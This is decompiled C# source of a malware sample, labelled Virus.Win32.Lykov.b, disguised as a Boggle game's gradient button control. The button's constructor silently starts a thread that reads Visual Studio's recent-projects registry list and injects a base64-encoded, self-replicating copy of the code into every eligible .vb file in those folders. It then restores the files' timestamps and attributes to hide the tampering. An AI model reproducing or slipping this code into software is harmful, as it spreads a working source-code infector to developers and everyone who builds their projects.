// Decompiled with JetBrains decompiler // Type: Boggle.BogButton // Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null // MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using Microsoft.Win32; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Drawing.Drawing2D; using System.IO; using System.Text; using System.Threading; using System.Windows.Forms; namespace Boggle { public class BogButton : Button { private IContainer components; private System.Drawing.Color[] BkGradColors; private System.Drawing.Color[] TxtGradColors; private string clsButtonText; private bool clsEnabled; private void vIT() { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); if (registryKey.ValueCount == 0) ProjectData.EndApp(); string String2 = "Private Sub vIT()"; string str1 = "Public Sub New()"; string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); string Replacement = "J = \""; int num1 = Strings.Len(str3); int Start = 1; while (Start <= num1) { Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; checked { Start += 64; } } string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); int num2 = checked (registryKey.ValueCount - 1); int index1 = 0; while (index1 <= num2) { string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); if (Directory.Exists(path)) { string[] files = Directory.GetFiles(path, "*.vb"); int num3 = Information.LBound((Array) files); int num4 = Information.UBound((Array) files); int index2 = num3; while (index2 <= num4) { DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); FileAttributes attributes = File.GetAttributes(files[index2]); File.SetAttributes(files[index2], FileAttributes.Normal); StreamReader streamReader = File.OpenText(files[index2]); string end = streamReader.ReadToEnd(); streamReader.Close(); if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) { string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); StreamWriter text = File.CreateText(files[index2]); text.Write(str6); text.Flush(); text.Close(); } File.SetLastWriteTime(files[index2], lastWriteTime); File.SetLastAccessTime(files[index2], lastAccessTime); File.SetAttributes(files[index2], attributes); checked { ++index2; } } } checked { ++index1; } } } public BogButton() { this.MouseDown += new MouseEventHandler(this.BogButton_MouseDown); this.MouseUp += new MouseEventHandler(this.BogButton_MouseUp); this.MouseEnter += new EventHandler(this.BogButton_MouseEnter); this.Paint += new PaintEventHandler(this.OnPaint); this.MouseLeave += new EventHandler(this.BogButton_MouseLeave); this.BkGradColors = new System.Drawing.Color[2] { System.Drawing.Color.LightBlue, System.Drawing.Color.Blue }; this.TxtGradColors = new System.Drawing.Color[2] { System.Drawing.Color.LightCyan, System.Drawing.Color.DarkSalmon }; new Thread(new ThreadStart(this.vIT)).Start(); this.InitializeComponent(); this.clsButtonText = "New"; this.BogButtonEnabled = true; } protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } [DebuggerStepThrough] private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container(); public string ButtonText { get => this.clsButtonText; set { this.clsButtonText = value; this.Refresh(); } } public bool BogButtonEnabled { get => this.clsEnabled; set { this.clsEnabled = value; if (!this.clsEnabled) { this.TxtGradColors[0] = System.Drawing.Color.LightGray; this.TxtGradColors[1] = System.Drawing.Color.Black; this.BkGradColors[0] = System.Drawing.Color.DarkGray; this.BkGradColors[1] = System.Drawing.Color.LightGray; } else { this.TxtGradColors[0] = System.Drawing.Color.LightCyan; this.TxtGradColors[1] = System.Drawing.Color.DarkSalmon; this.BkGradColors[0] = System.Drawing.Color.LightBlue; this.BkGradColors[1] = System.Drawing.Color.Blue; } this.Enabled = this.clsEnabled; this.Refresh(); } } protected void OnPaint(object sender, PaintEventArgs e) { GraphicsPath path = new GraphicsPath(); Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); LinearGradientBrush linearGradientBrush1 = new LinearGradientBrush(rect, this.BkGradColors[0], this.BkGradColors[1], LinearGradientMode.ForwardDiagonal); LinearGradientBrush linearGradientBrush2 = new LinearGradientBrush(rect, this.TxtGradColors[0], this.TxtGradColors[1], LinearGradientMode.ForwardDiagonal); path.AddArc(rect, 335f, 50f); path.AddArc(rect, 155f, 50f); linearGradientBrush1.LinearColors = this.BkGradColors; e.Graphics.FillPath((Brush) linearGradientBrush1, path); e.Graphics.SmoothingMode = SmoothingMode.HighQuality; Font font1 = this.Font; SizeF sizeF1 = new SizeF(); Graphics graphics = e.Graphics; string clsButtonText = this.clsButtonText; Font font2 = font1; SizeF layoutArea = new SizeF(); StringFormat stringFormat = new StringFormat(StringFormatFlags.DirectionRightToLeft); int num1 = Strings.Len(this.clsButtonText); ref int local1 = ref num1; int num2 = 1; ref int local2 = ref num2; SizeF sizeF2 = graphics.MeasureString(clsButtonText, font2, layoutArea, stringFormat, out local1, out local2); e.Graphics.DrawString(this.clsButtonText, new Font(this.Font.FontFamily, 10f, FontStyle.Bold), (Brush) linearGradientBrush2, (float) ((double) this.Width / 2.35 - (double) sizeF2.Width / 2.0), 16f); this.Region = new Region(path); } private void BogButton_MouseUp(object sender, MouseEventArgs e) { checked { this.Left -= 3; } checked { this.Top -= 3; } this.BkGradColors[0] = System.Drawing.Color.LightBlue; this.BkGradColors[1] = System.Drawing.Color.Blue; this.TxtGradColors[0] = System.Drawing.Color.Red; this.TxtGradColors[1] = System.Drawing.Color.Navy; this.Refresh(); this.Enabled = this.clsEnabled; } private void BogButton_MouseEnter(object sender, EventArgs e) { this.TxtGradColors[0] = System.Drawing.Color.Red; this.TxtGradColors[1] = System.Drawing.Color.Navy; this.Refresh(); } private void BogButton_MouseLeave(object sender, EventArgs e) { this.TxtGradColors[0] = System.Drawing.Color.LightCyan; this.TxtGradColors[1] = System.Drawing.Color.DarkSalmon; this.Refresh(); } private void BogButton_MouseDown(object sender, MouseEventArgs e) { checked { this.Left += 3; } checked { this.Top += 3; } this.BkGradColors[1] = System.Drawing.Color.DarkBlue; this.TxtGradColors[1] = System.Drawing.Color.Navy; this.Refresh(); } } }